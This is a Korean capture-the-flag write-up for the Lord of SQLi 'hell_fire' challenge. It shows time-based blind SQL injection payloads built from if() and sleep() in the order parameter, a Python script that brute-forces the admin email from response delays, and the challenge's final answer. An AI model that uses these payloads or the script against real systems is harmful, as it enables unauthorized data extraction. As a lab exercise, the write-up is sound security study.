los 23번입니다.
order의 값에 따라 쿼리문을 통해 값을 가져오기 때문에 먼저 order=1을 전달해보았습니다.
order 1일 때, id=admin과 id=rubiya에 해당하는 id,email,score값이 출력되게 됩니다. 이때 우리는 email값을 blind SQL injection으로 공격하여 email을 알아내면 될 것 같습니다. 먼저 이메일의 길이를 알아내야 합니다. 이때 time based SQL injection기법을 사용했습니다.
?order=if(id='admin' and length(email)>n,sleep(1),1)
위의 쿼리문을 이용해서 id=admin이면서 email의 길이를 n자리에 계속 대입해보면서 알 수 있습니다. 이때 만약 이메일의 길이가 일치할 경우 sleep함수가 실행되기 때문에 지연시간이 1초가 됩니다. 만약 해당 길이가 되지 않을 경우 굉장히 빠른 시간내에 전달되기 때문에 지연시간을 확인하면 길이를 알 수 있습니다. 이처럼 시간을 지연시켜주는 함수 등을 이용하여 brute forcing하여 이메일이나 비밀번호의 길이나 값을 알 수 있습니다
위는 공격을 진행했을 때 크롬에서 지연시간을 확인하는 과정입니다. 27보다 큰 값에서는 조건문이 작동하여 sleep함수가 실행된 것을 알 수 있습니다.(Time=1.14s) 하지만 길이가 28보다 클때는 조건문이 작동하지 않아 매우 짧은 전달시간(60ms)을 확인할 수 있습니다. 따라서 이메일의 길이는 28이라고 확인할 수 있습니다.
그리고 정확한 이메일을 알아내기 위해서는
?order=if(score=200 and ascii(substr(email,{},1))={},sleep(1),1)을 이용했습니다. 이메일은 brute forcing으로 알아내야 하기 때문에 아래의 공격 파이썬 코드를 이용했습니다.
import requests
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
URL = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
headers = {'Cookie':'PHPSESSID=50b0u6mtoro9knc4n27knmtl4n'}
email_length = 28
email = ''
for i in range(1, email_length+1):
for j in range(33, 127):
start = time.time()
payload = "?order=if(score=200 and ascii(substr(email,{},1))={},sleep(1),1)".format(i,j)
res = requests.get(url=URL+payload, headers=headers, verify=False)
end = time.time() - start
if end > 1:
email += chr(j)
print("email: " + email)
break
print('\n>>> Final Email: %s' % email)
파이썬 코드를 실행한 결과입니다.
결과값을 이메일로 전달해주면 문제가 해결됩니다.
정답 : ?email=admin_secure_email@emai1.com